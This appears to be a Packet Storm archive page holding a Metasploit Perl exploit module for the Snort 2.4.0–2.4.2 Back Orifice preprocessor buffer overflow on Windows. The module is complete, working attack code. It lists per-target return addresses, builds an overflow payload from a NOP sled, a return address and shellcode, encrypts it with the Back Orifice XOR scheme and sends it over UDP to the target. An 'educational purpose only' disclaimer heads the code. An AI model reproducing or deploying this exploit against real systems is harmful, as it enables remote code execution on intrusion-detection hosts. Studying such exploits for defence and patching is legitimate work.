what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

snort_bo_overflow_win32.pm.txt

snort_bo_overflow_win32.pm.txt
Posted Nov 2, 2005
Authored by Trirat Puttaraksa

Remote Snort Back Orifice preprocessor overflow Metasploit exploit for Win32 targets. Exploits Snort versions 2.4.0 through 2.4.2. Tested against Snort 2.4.2 Binary with Windows XP Professional SP1/SP2, Windows Server 2003 SP1, Windows Server 2000 SP0, and Windows 2000 Professional SP0.

tags | exploit, remote, overflow
systems | windows
SHA-256 | eae99138b91426ab5eb58667181b07b717710bab0115262472624f15edd0aba7

snort_bo_overflow_win32.pm.txt

Change Mirror Download
###############################################################
# for educational purpose only
# by Kira < trir00t [at] gmail.com >
###############################################################
package Msf::Exploit::snort_bo_overflow_win32;
use base 'Msf::Exploit';
use strict;
use Pex::Text;

my $holdrand;
my $advanced = {};

my $info =
{
'Name' => 'Snort Back Orifice Preprocessor Overflow',
'Version' => '$Revision: 1.0 $',
'Authors' => [ 'Trirat Puttaraksa (Kira) <trir00t [at] gmail.com>', ],
'Arch' => ['x86'],
'OS' => ['win32', 'win2000', 'winxp', 'win2003'],
'Priv' => 1,
'UserOpts' => {
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 53],
},

'Payload' => {
'Space' => 1024, # you can use more spaces
'BadChars' => "\x00",
},

'Description' => Pex::Text::Freeform(qq{
This exploits the buffer overflow in Snort version
2.4.0 to 2.4.2. This particular module is capable of
exploiting the bug on x86 Win32, Win2000, WinXP and Win2003.
Exploitation in this vulnerability is depend on many factors.
Difference in GCC version, compiled option and
operating system made diffent technique in exploitation.
}),

'Refs' => [
['URL ', "http://www.securityfocus.com/bid/15131"],
],

'Targets' => [

["Snort 2.4.2 Binary on Windows XP Professional SP1", 0x77da54d4,
(18+1024+1028+1024)],
["Snort 2.4.2 Binary on Windows XP Professional SP2", 0x77daacdb,
(18+1024+1028+1024)],
["Snort 2.4.2 Binary on Windows Server 2003 SP1", 0x7d065177,
(18+1024+1028+1024)],
["Snort 2.4.2 Binary on Windows Server 2000 SP0", 0x77e33f69,
(18+1024+1028+1024)],
["Snort 2.4.2 Binary on Windows 2000 Professional SP0", 0x7850cdef,
(18+1024+1028+1024)],
],

'Keys' => ['Snort'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return ($self);
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;

my $target = $self->Targets->[$target_idx];

if(! $self->InitNops(128)) {
$self->PrintLine("[*] Failed to initialize the NOP module.");
return;
}

my $socket = Msf::Socket::Udp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
);

if($self->IsError) {
$self->PrintLine("[*] Error creating socket: " .
$socket->GetError);
}

$self->PrintLine(sprintf("[*] Trying " . $target->[0] . " using return address 0x%.8x....", $target->[1]));

my $payload = "*!*QWTY?"; # Magic string: 8 bytes
$payload .= pack('V', $target->[2]); # Len: 4 bytes
$payload .= "\xed\xac\xef\x0d"; # UDP packet id
$payload .= "\x01"; # BO type (PING)
$payload .= "\x90" x 1024; # Data
$payload .= "\x90" x 1024; # offset to EIP
$payload .= pack('V', $target->[1]); # return address
$payload .= $shellcode; # our shellcode

$payload = bocrypt($payload); # encrypted payload

$self->PrintLine("[*] Sending Exploit....");
$socket->Send($payload);
}

sub bocrypt {
my $tmppayload = shift;
my @arrpayload = split(//, $tmppayload);
my $retpayload;
my $c;

msrand(31337);

foreach $c (@arrpayload) {
$retpayload .= chr((ord($c) ^ (mrand()%256)));
}
return ($retpayload);
}

sub msrand {
$holdrand = shift;
}

sub mrand {
return ((($holdrand = ($holdrand * 214013 + 2531011 & 0xffffffff)) >> 16) & 0x7fff);
}
Login or Register to add favorites

File Archive:

February 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    11 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    5 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    0 Files
  • 6
    Feb 6th
    9 Files
  • 7
    Feb 7th
    33 Files
  • 8
    Feb 8th
    34 Files
  • 9
    Feb 9th
    0 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    0 Files
  • 13
    Feb 13th
    0 Files
  • 14
    Feb 14th
    0 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close